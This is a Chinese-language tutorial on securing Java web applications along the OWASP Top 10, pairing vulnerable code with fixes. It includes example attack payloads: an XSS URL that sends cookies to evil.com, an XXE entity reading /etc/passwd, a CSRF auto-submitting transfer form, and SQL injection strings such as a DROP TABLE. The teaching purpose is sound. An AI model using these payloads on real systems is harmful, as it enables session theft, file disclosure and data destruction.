掌握保护Web应用程序不受攻击的关键技术和最佳实践
在学习本章内容前,请先思考以上问题。带着问题学习,能够帮助您更好地理解和掌握知识点。
在当今互联网时代,Web应用程序的安全性已成为开发过程中不可或缺的一部分。随着网络攻击手段的不断进化和攻击频率的增加,后端开发人员需要具备扎实的安全知识和技能,以构建和维护安全的Web应用程序。
本教程旨在为后端开发人员提供全面的Web安全知识,涵盖从常见漏洞到防护措施的各个方面,帮助开发者构建更安全的应用程序。
注意:Web安全是一个持续发展的领域,攻击者不断发明新的攻击方式。保持知识更新,关注安全公告和最佳实践的变化非常重要。
本教程主要面向:
本教程将围绕OWASP(开放Web应用安全项目)Top 10安全风险为核心,结合实际Java开发场景,介绍各类安全漏洞的原理、危害以及防护措施。我们将提供大量代码示例、最佳实践和实用工具,帮助开发者将安全知识应用到实际工作中。
在学习本章内容前,请先思考以上问题。带着问题学习,能够帮助您更好地理解和掌握知识点。
OWASP Top 10是由开放Web应用安全项目(OWASP)定期发布的文档,列出了Web应用程序中最严重的十大安全风险。它已成为许多安全标准、工具和组织的参考基准。了解这些风险及其防护措施,是构建安全Web应用的基础。
注意:本教程基于OWASP Top 10 (2021)版本。随着安全领域的发展,OWASP会定期更新这个列表。
注入攻击是指攻击者将恶意代码注入应用程序,并在执行时改变预期行为。最常见的注入类型包括SQL注入、NoSQL注入、OS命令注入和LDAP注入。
考虑以下未经处理的JDBC查询:
// 不安全的代码示例
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
攻击者可以输入:admin' --
作为用户名,这会导致密码检查被注释掉,从而绕过身份验证。
// 安全的代码示例
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement statement = connection.prepareStatement(query);
statement.setString(1, username);
statement.setString(2, password);
ResultSet resultSet = statement.executeQuery();
如Hibernate、MyBatis等框架能帮助防止SQL注入:
// 使用JPA/Hibernate
User user = entityManager
.createQuery("SELECT u FROM User u WHERE u.username = :username AND u.password = :password", User.class)
.setParameter("username", username)
.setParameter("password", password)
.getSingleResult();
验证所有输入数据的类型、长度、格式和范围。
数据库用户应只具有执行必要操作的最小权限。
提示:Spring Data JPA、MyBatis等框架默认提供了针对SQL注入的保护措施。在使用这些框架时,尽量使用其内置的查询方法和参数绑定功能。
身份认证和会话管理的问题可能允许攻击者获取他人的身份或会话信息,从而冒充合法用户。
// 使用正则表达式验证密码强度
public boolean isStrongPassword(String password) {
String regex = "^(?=.*[0-9])(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%^&+=])(?=\\S+$).{8,}$";
return password.matches(regex);
}
// 使用Spring Security的BCrypt密码编码器
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder(12); // 强度因子为12
}
在多次登录失败后临时锁定账户。
// Spring Security会话管理配置
@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.sessionManagement()
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
.invalidSessionUrl("/login?invalid")
.maximumSessions(1)
.maxSessionsPreventsLogin(true)
.expiredUrl("/login?expired");
}
}
考虑为敏感操作或管理员账户实施多因素认证(MFA),如使用Google Authenticator、手机短信或电子邮件验证码。Spring Security提供了MFA的扩展支持。
敏感数据泄露指的是应用程序未能充分保护敏感信息(如密码、信用卡号、健康记录等),导致数据被未授权访问或被窃取。
使用TLS/HTTPS保护所有敏感数据传输。在Spring Boot中:
# application.properties
server.ssl.key-store=classpath:keystore.p12
server.ssl.key-store-password=your-password
server.ssl.key-store-type=PKCS12
server.ssl.key-alias=tomcat
server.port=8443
使用强加密算法保护存储的敏感数据:
// AES加密示例
public String encrypt(String plainText, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
byte[] iv = new byte[12]; // 随机生成更安全
new SecureRandom().nextBytes(iv);
GCMParameterSpec parameterSpec = new GCMParameterSpec(128, iv);
cipher.init(Cipher.ENCRYPT_MODE, key, parameterSpec);
byte[] cipherText = cipher.doFinal(plainText.getBytes(StandardCharsets.UTF_8));
// 组合IV和密文以便解密
ByteBuffer byteBuffer = ByteBuffer.allocate(iv.length + cipherText.length);
byteBuffer.put(iv);
byteBuffer.put(cipherText);
return Base64.getEncoder().encodeToString(byteBuffer.array());
}
避免在日志中记录敏感信息,或使用遮蔽技术:
// 日志遮蔽示例
private String maskCreditCard(String creditCardNumber) {
if (creditCardNumber == null || creditCardNumber.length() < 13) {
return "[INVALID CARD]";
}
return "XXXX-XXXX-XXXX-" + creditCardNumber.substring(creditCardNumber.length() - 4);
}
// 使用示例
logger.info("Processing payment with card: {}", maskCreditCard(creditCardNumber));
不要硬编码密钥,考虑使用密钥管理服务或安全的环境变量。
对应用程序处理的数据进行分类(如公开、内部、敏感、高度敏感),并针对不同级别的数据应用相应的保护措施。对于高度敏感的数据,考虑使用字段级加密或令牌化技术。
XML外部实体(XXE)攻击是一种针对解析XML输入的应用程序的攻击。当XML解析器配置不当,处理包含外部实体引用的XML输入时,攻击者可以利用这些引用来访问系统文件、执行服务器端请求伪造(SSRF)或导致拒绝服务攻击。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&entity xxe; </foo>
// 使用JAXP(Java API for XML Processing)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
注意:在某些情况下,完全禁用DTD可能会影响应用程序的功能。在这种情况下,考虑使用XML沙箱或专用的XML解析库,如DEFUSE XML库等。
失效的访问控制是指系统未能正确限制用户对功能或数据的访问。当用户可以执行超出其预定权限的操作时,就会出现这类漏洞。这是OWASP Top 10中最常见的安全漏洞之一。
// 错误示例:未检查用户是否有权限访问所请求的资源
@GetMapping("/accounts/{accountId}")
public Account getAccount(@PathVariable Long accountId) {
return accountRepository.findById(accountId).orElseThrow();
}
// 正确示例:添加权限验证
@GetMapping("/accounts/{accountId}")
public Account getAccount(@PathVariable Long accountId) {
// 获取当前用户
User user = getCurrentUser();
// 检查用户是否有权限访问该账户
if (!user.getId().equals(accountId) && !user.isAdmin()) {
throw new AccessDeniedException("您无权访问此账户");
}
return accountRepository.findById(accountId).orElseThrow();
}
提示:在Spring Security等框架中,可以使用注解如@PreAuthorize("hasRole('ADMIN')")
或@Secured("ROLE_ADMIN")
来实现方法级别的访问控制。
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/public/**").permitAll()
.antMatchers("/admin/**").hasRole("ADMIN")
.antMatchers("/user/**").hasAnyRole("USER", "ADMIN")
.antMatchers("/api/users/{id}/**").access("@userSecurity.checkUserId(authentication, #id)")
.anyRequest().authenticated()
.and()
.formLogin()
.loginPage("/login")
.permitAll();
}
}
// 自定义访问决策器
@Component
public class UserSecurity {
public boolean checkUserId(Authentication authentication, Long id) {
UserDetails userDetails = (UserDetails) authentication.getPrincipal();
User user = ((CustomUserDetails) userDetails).getUser();
// 允许用户访问自己的资源或管理员访问任何资源
return user.getId().equals(id) || hasAdminRole(authentication);
}
private boolean hasAdminRole(Authentication authentication) {
return authentication.getAuthorities().stream()
.anyMatch(a -> a.getAuthority().equals("ROLE_ADMIN"));
}
}
安全配置错误是指应用程序、框架、应用服务器、Web服务器、数据库服务器或平台的配置不正确或未充分加固,导致系统存在安全漏洞。这类问题在各种环境中普遍存在,通常是由于使用默认配置、不完整的配置或临时配置未及时更改造成的。
警告:安全配置错误往往是攻击者获取系统访问权的首要途径,因为这类漏洞通常暴露在公网上且易于发现。
# 错误的Spring Boot应用配置示例
# 1. 在生产环境中启用H2控制台
spring.h2.console.enabled=true
spring.h2.console.path=/h2-console
# 2. 在生产环境中启用调试模式
debug=true
spring.devtools.add-properties=true
# 3. 关闭CSRF保护
spring.security.csrf.disabled=true
# 4. 配置不安全的会话Cookie
server.servlet.session.cookie.secure=false
server.servlet.session.cookie.http-only=false
# 生产环境安全配置示例
# 禁用开发工具和调试功能
debug=false
spring.devtools.add-properties=false
# 禁用H2控制台
spring.h2.console.enabled=false
# 启用HTTPS和HTTP/2
server.ssl.enabled=true
server.ssl.key-store=classpath:keystore.p12
server.ssl.key-store-password=${SSL_KEY_STORE_PASSWORD}
server.ssl.key-store-type=PKCS12
server.http2.enabled=true
# 配置安全Cookie
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.same-site=strict
# 配置安全响应头
server.compression.enabled=true
server.compression.mime-types=text/html,text/xml,text/plain,text/css,application/javascript,application/json
server.compression.min-response-size=1024
# 错误处理 - 不泄露敏感信息
server.error.include-stacktrace=never
server.error.include-exception=false
server.error.include-message=never
# 配置日志级别,避免敏感信息泄露
logging.level.root=WARN
logging.level.org.springframework.web=INFO
logging.level.com.myapp=INFO
最佳实践:使用环境变量或加密的外部配置存储敏感信息,如密码、密钥和凭证,避免将其硬编码在配置文件中。
在Spring Security中配置安全相关HTTP头部:
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
// 其他安全配置...
.headers()
.contentSecurityPolicy("default-src 'self'; script-src 'self' https://trusted-cdn.com; img-src 'self' data:; style-src 'self' https://trusted-cdn.com; frame-ancestors 'none';")
.and()
.referrerPolicy(ReferrerPolicyHeaderWriter.ReferrerPolicy.SAME_ORIGIN)
.and()
.permissionsPolicy("camera=(), microphone=(), geolocation=(), payment=()")
.and()
.frameOptions().deny()
.and()
.xssProtection()
.and()
.cacheControl();
}
}
跨站脚本(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,允许攻击者将恶意脚本注入到受信任的网站上。当用户访问受影响的页面时,恶意脚本会在用户的浏览器上执行,允许攻击者窃取用户数据、会话令牌或重定向用户到恶意站点。
类型 | 描述 | 持久性 | 危害程度 |
---|---|---|---|
存储型 (Stored XSS) | 恶意脚本存储在目标服务器上,当用户请求包含此脚本的页面时被执行 | 持久 | 高 |
反射型 (Reflected XSS) | 恶意脚本包含在请求中,服务器将其"反射"回响应页面 | 非持久 | 中 |
DOM型 (DOM-based XSS) | 漏洞存在于客户端代码中,修改DOM环境后触发恶意JavaScript执行 | 通常非持久 | 中至高 |
以下是一个简单的反射型XSS漏洞示例:
@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
// 错误:未对用户输入进行转义
model.addAttribute("searchQuery", query);
// ...执行搜索逻辑
return "searchResults";
}
对应的模板文件 (例如使用Thymeleaf):
<!-- 错误:直接输出未转义的用户输入 -->
<div>
您搜索的是: <span th:utext="${searchQuery}"></span>
</div>
攻击者可以发送包含恶意JavaScript的查询,例如:
http://example.com/search?query=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
修复上述漏洞的Java代码:
@GetMapping("/search")
public String search(@RequestParam String query, Model model) {
// 输入验证(可根据需要扩展)
if (query.length() > 100) {
query = query.substring(0, 100); // 限制长度
}
// 使用Thymeleaf的默认转义机制
model.addAttribute("searchQuery", query);
// ...执行搜索逻辑
return "searchResults";
}
修复后的模板文件:
<!-- 正确:使用 th:text 而不是 th:utext 自动转义用户输入 -->
<div>
您搜索的是: <span th:text="${searchQuery}"></span>
</div>
在Spring Boot应用中配置内容安全策略(CSP):
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
// 其他安全配置...
.headers()
.contentSecurityPolicy("default-src 'self'; script-src 'self' https://trusted-cdn.com; " +
"style-src 'self' https://trusted-cdn.com; img-src 'self' data:; " +
"connect-src 'self'; font-src 'self'; object-src 'none'; " +
"media-src 'self'; frame-src 'none';")
.and()
.xssProtection()
.block(true);
}
}
防御最佳实践:采用"纵深防御"策略—输入验证、输出编码、CSP和其他安全头部、框架自动保护机制等多层次防护措施共同使用。
添加OWASP Java Encoder依赖:
<dependency>
<groupId>org.owasp.encoder</groupId>
<artifactId>encoder</artifactId>
<version>1.2.3</version>
</dependency>
在代码中使用编码器:
import org.owasp.encoder.Encode;
@GetMapping("/profile")
@ResponseBody
public String displayUserProfile(@RequestParam String username) {
User user = userService.findByUsername(username);
// 根据上下文使用适当的编码方法
String htmlContent = "<div class='profile'>" +
"<h2>用户信息: " + Encode.forHtml(user.getUsername()) + "</h2>" +
"<script>var userId = '" + Encode.forJavaScript(user.getId()) + "';</script>" +
"<a href='" + Encode.forHtmlAttribute(user.getWebsite()) + "'>个人网站</a>" +
"</div>";
return htmlContent;
}
跨站请求伪造(Cross-Site Request Forgery,简称CSRF)是一种攻击,强制已认证用户在不知情的情况下执行不需要的操作。CSRF攻击通常依赖于用户在目标系统中已认证的状态(如保存的Cookie)。
CSRF攻击能够绕过同源策略,因为它们从受害者的浏览器发送请求,而浏览器会自动包含与目标站点相关的所有凭证(如Cookie)。
典型的CSRF攻击流程:
CSRF攻击流程示意图
一个缺乏CSRF保护的转账接口:
@Controller
public class TransferController {
@PostMapping("/transfer")
public String transferFunds(
@RequestParam String toAccount,
@RequestParam BigDecimal amount) {
// 获取当前用户
UserDetails user = (UserDetails) SecurityContextHolder.getContext()
.getAuthentication().getPrincipal();
// 执行转账操作
accountService.transfer(user.getUsername(), toAccount, amount);
return "redirect:/transfer/success";
}
}
恶意网站上的HTML可能是:
<!-- 受害者访问此页面后会自动提交表单 -->
<html>
<body>
<h1>赢取免费奖品!</h1>
<form id="transfer-form" action="https://bank.example.com/transfer" method="POST">
<input type="hidden" name="toAccount" value="attacker-account" />
<input type="hidden" name="amount" value="1000.00" />
</form>
<script>
document.getElementById("transfer-form").submit();
</script>
</body>
</html>
Spring Security默认开启CSRF保护。以下是配置示例:
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf() // 默认启用CSRF保护
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
// 使用cookie存储CSRF令牌,允许JS读取以便在AJAX请求中使用
.and()
// 其他安全配置...
}
}
在Thymeleaf模板中使用CSRF令牌:
<form th:action="@{/transfer}" method="post">
<!-- CSRF令牌会自动添加 -->
<input type="text" name="toAccount" />
<input type="number" name="amount" />
<button type="submit">转账</button>
</form>
在AJAX请求中使用CSRF令牌:
// 获取CSRF令牌
const csrfToken = document.querySelector('meta[name="_csrf"]').getAttribute('content');
const csrfHeader = document.querySelector('meta[name="_csrf_header"]').getAttribute('content');
// 使用fetch API发送请求
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
[csrfHeader]: csrfToken // 添加CSRF令牌到头部
},
body: JSON.stringify({
toAccount: 'recipient',
amount: 500
})
});
何时禁用CSRF保护:只有在创建无状态API(使用JWT等)且不依赖于Cookie进行认证的情况下才考虑禁用CSRF保护。在这种情况下,确保实施其他安全措施,如严格的CORS策略。
在Spring Boot中配置Cookie的SameSite属性:
@Configuration
public class SessionConfig {
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setSameSite("Lax"); // 可选值: None, Lax, Strict
serializer.setUseSecureCookie(true); // 需要HTTPS
return serializer;
}
@Bean
public ServletContextInitializer servletContextInitializer() {
return servletContext -> {
servletContext.getSessionCookieConfig().setSecure(true);
servletContext.getSessionCookieConfig().setHttpOnly(true);
};
}
}
SQL注入是一种代码注入技术,攻击者通过在用户输入中插入SQL代码,使应用程序执行非预期的数据库操作。这种攻击可能导致数据泄露、数据损坏,甚至系统接管。
SQL注入仍然是OWASP Top 10中的高风险漏洞,尽管防御技术已广为人知,但许多应用程序仍然受到影响。
类型 | 描述 | 示例 |
---|---|---|
经典SQL注入 | 直接在SQL查询中插入恶意代码 | ' OR '1'='1 |
盲注SQL注入 | 通过推断响应(如返回值、时间延迟)提取数据 | ' OR (SELECT CASE WHEN (username='admin') THEN sleep(5) ELSE 0 END)-- |
UNION SQL注入 | 使用UNION运算符合并多个SELECT语句的结果 | ' UNION SELECT username, password FROM users-- |
批处理SQL注入 | 使用分号分隔执行多条SQL语句 | '; DROP TABLE users-- |
易受攻击的Java代码示例:
// 不安全的代码 - 易受SQL注入攻击
public User findUserByUsername(String username) {
Connection conn = dataSource.getConnection();
// 危险:直接拼接用户输入到SQL查询
String sql = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql);
if (rs.next()) {
return new User(
rs.getLong("id"),
rs.getString("username"),
rs.getString("email")
);
}
return null;
}
如果攻击者输入 ' OR '1'='1
作为用户名, 实际执行的SQL将是:
SELECT * FROM users WHERE username = '' OR '1'='1'
这将返回所有用户记录,因为条件 '1'='1'
永远为真。
修复后的安全代码示例:
// 安全的代码 - 使用参数化查询
public User findUserByUsername(String username) {
String sql = "SELECT * FROM users WHERE username = ?";
try (Connection conn = dataSource.getConnection();
PreparedStatement pstmt = conn.prepareStatement(sql)) {
// 安全:使用参数化查询,参数值由JDBC驱动处理
pstmt.setString(1, username);
try (ResultSet rs = pstmt.executeQuery()) {
if (rs.next()) {
return new User(
rs.getLong("id"),
rs.getString("username"),
rs.getString("email")
);
}
return null;
}
}
}
通过JPA实现安全查询:
@Repository
public class UserRepository {
@PersistenceContext
private EntityManager entityManager;
public User findByUsername(String username) {
// 使用JPA的参数化查询
return entityManager.createQuery(
"SELECT u FROM User u WHERE u.username = :username", User.class)
.setParameter("username", username)
.getSingleResult();
}
}
使用Spring Data JPA:
public interface UserRepository extends JpaRepository {
// Spring Data自动生成安全的查询实现
User findByUsername(String username);
// 对于复杂查询,可以使用@Query
@Query("SELECT u FROM User u WHERE u.email = :email")
User findByEmail(@Param("email") String email);
}
MyBatis配置:
<!-- UserMapper.xml -->
<mapper namespace="com.example.mapper.UserMapper">
<select id="findByUsername" resultType="User">
SELECT * FROM users WHERE username = #{username}
<!-- #{username} 表示使用参数化查询,是安全的 -->
<!-- ${username} 表示字符串替换,容易导致SQL注入,应避免使用 -->
</select>
</mapper>
MyBatis参数标记: 在MyBatis中,使用 #{parameter}
会进行参数化查询,而 ${parameter}
会进行直接字符串替换。除非确实需要动态构建SQL结构(如表名、排序字段),否则始终使用 #{parameter}
。
有时需要动态构建SQL查询(如动态排序字段或表名),这种情况下:
// 安全地处理动态排序
public List findProductsSorted(String sortColumn, String sortOrder) {
// 白名单验证
List allowedColumns = Arrays.asList("name", "price", "created_at");
if (!allowedColumns.contains(sortColumn)) {
sortColumn = "created_at"; // 默认排序字段
}
// 验证排序方向
if (!"ASC".equalsIgnoreCase(sortOrder) && !"DESC".equalsIgnoreCase(sortOrder)) {
sortOrder = "DESC"; // 默认排序方向
}
String sql = "SELECT * FROM products ORDER BY " + sortColumn + " " + sortOrder;
// 此处使用验证过的值构建SQL是安全的
try (Connection conn = dataSource.getConnection();
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(sql)) {
// 处理结果集...
}
}